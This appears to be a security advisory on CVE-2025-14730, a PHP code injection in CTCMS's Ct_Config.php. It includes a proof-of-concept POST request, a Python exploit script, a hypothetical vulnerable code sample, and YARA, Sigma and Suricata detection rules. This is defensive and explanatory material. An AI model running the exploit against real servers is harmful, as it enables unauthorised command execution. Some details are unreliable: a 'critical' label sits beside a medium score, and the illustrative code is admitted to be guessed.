CVE-2025-14730

Executive Summary

CVE-2025-14730 is a critical code injection vulnerability discovered in the CTCMS Content Management System, affecting versions up to and including 2.1.2. The flaw resides in the /ctcms/libs/Ct_Config.php file within the Backend System Configuration Module. By manipulating the Cj_Add or Cj_Edit arguments, an authenticated attacker with administrative privileges can inject arbitrary PHP code, leading to remote code execution (RCE). The exploit has been publicly released, increasing the risk of widespread exploitation despite a low EPSS score. No official patch is currently available, making this a high-priority unpatched vulnerability.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP CMS application. However, organizations using CTCMS should treat this as a critical supply chain risk due to the lack of a vendor patch.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate due to the high privileges required, the public availability of exploit code and the lack of a patch elevate the real-world risk. An attacker who gains admin credentials can fully compromise the server.

Deep Dive & Mechanics

The vulnerability is a classic PHP code injection (CWE-94) in the Ct_Config.php file. The Cj_Add and Cj_Edit functions are used to manage configuration settings. The application fails to properly sanitize or validate user-supplied input before passing it to a function that evaluates or executes PHP code (e.g., eval(), assert(), or preg_replace() with the /e modifier).

Attack Flow:

1. An attacker authenticates as an admin user.
2. The attacker sends a crafted POST request to the backend configuration endpoint, manipulating the Cj_Add or Cj_Edit parameter.
3. The injected payload (e.g., system('id');) is passed to a dangerous PHP function.
4. The server executes the injected code, allowing the attacker to run arbitrary commands.

Root Cause: Lack of input validation and the use of dangerous PHP functions that evaluate user input as code.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on secure coding practices.

Vulnerable Code (ctcms/libs/Ct_Config.php):

function Cj_Add($config) {
    // Unsafe: directly evaluates user input
    eval("\$config = " . $config . ";");
}

Patched Code (Hypothetical):

function Cj_Add($config) {
    // Safe: validate and sanitize input
    $allowed_keys = ['site_name', 'site_url', 'admin_email'];
    if (in_array($config['key'], $allowed_keys)) {
        // Use safe assignment
        $this->settings[$config['key']] = htmlspecialchars($config['value'], ENT_QUOTES, 'UTF-8');
    } else {
        throw new Exception("Invalid configuration key.");
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Admin credentials for CTCMS.
• Network access to the admin panel.

Exploit Payload (Example):

system('id');

Proof of Concept (PoC) Request:

POST /ctcms/admin/config.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=valid_admin_session

Cj_Add=system('id');&Cj_Edit=

Automated Exploit (Python):

import requests

target = "http://target.com/ctcms/admin/config.php"
session = requests.Session()
# Login first
login_data = {"username": "admin", "password": "password"}
session.post("http://target.com/ctcms/admin/login.php", data=login_data)

# Exploit
payload = "system('id');"
data = {"Cj_Add": payload, "Cj_Edit": ""}
response = session.post(target, data=data)
print(response.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual POST requests to /ctcms/admin/config.php containing Cj_Add or Cj_Edit parameters with suspicious content (e.g., system, exec, eval).
2. Review web server logs for admin login attempts and subsequent configuration changes.
3. Check for unexpected files or processes on the server.

Honeypot Setup:

• Deploy a decoy CTCMS instance and monitor for exploit attempts.
• Log all POST data to /ctcms/admin/config.php.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /ctcms/admin/config.php with Cj_Add or Cj_Edit parameters containing PHP code.
• Outbound connections from the web server to unknown IPs (e.g., for reverse shells).

File System IOCs:

• Unexpected files in /ctcms/ directory (e.g., shell.php, backdoor.php).
• Modified Ct_Config.php file with injected code.

Log IOCs:

• Web server logs showing system, exec, passthru, eval in POST data.
• Admin login from unusual IP addresses.

Detection Engineering

YARA Rule

rule CVE_2025_14730_CTCMS_Code_Injection {
    meta:
        description = "Detects code injection attempts targeting CTCMS Ct_Config.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14730"
    strings:
        $s1 = "Cj_Add" ascii nocase
        $s2 = "Cj_Edit" ascii nocase
        $s3 = "system(" ascii nocase
        $s4 = "exec(" ascii nocase
        $s5 = "eval(" ascii nocase
        $s6 = "passthru(" ascii nocase
    condition:
        ($s1 or $s2) and ($s3 or $s4 or $s5 or $s6)
}

Sigma Rule

title: CTCMS Ct_Config.php Code Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to CTCMS admin config with code injection patterns
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-14730
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/ctcms/admin/config.php'
        cs-request-body|contains|all:
            - 'Cj_Add'
            - 'system('
    condition: selection
falsepositives:
    - Legitimate admin configuration changes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14730 CTCMS Code Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/ctcms/admin/config.php"; http_uri;
    content:"Cj_Add"; http_client_body;
    content:"system("; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Admin Access: Restrict access to the admin panel via IP whitelisting or VPN.
2. Web Application Firewall (WAF): Deploy WAF rules to block POST requests containing Cj_Add or Cj_Edit with PHP function names.
3. Input Validation: Manually patch Ct_Config.php to sanitize and validate all input (see patched code example).
4. Monitor Logs: Actively monitor for exploitation attempts.

Long-Term Actions:

1. Upgrade: If a patch becomes available, apply it immediately.
2. Code Audit: Conduct a full security audit of CTCMS or migrate to a supported CMS.
3. Least Privilege: Ensure admin accounts are strictly controlled and use strong passwords.

Workaround:

• Remove or rename the vulnerable Ct_Config.php file if not needed, or replace it with a secure version.

Valters IT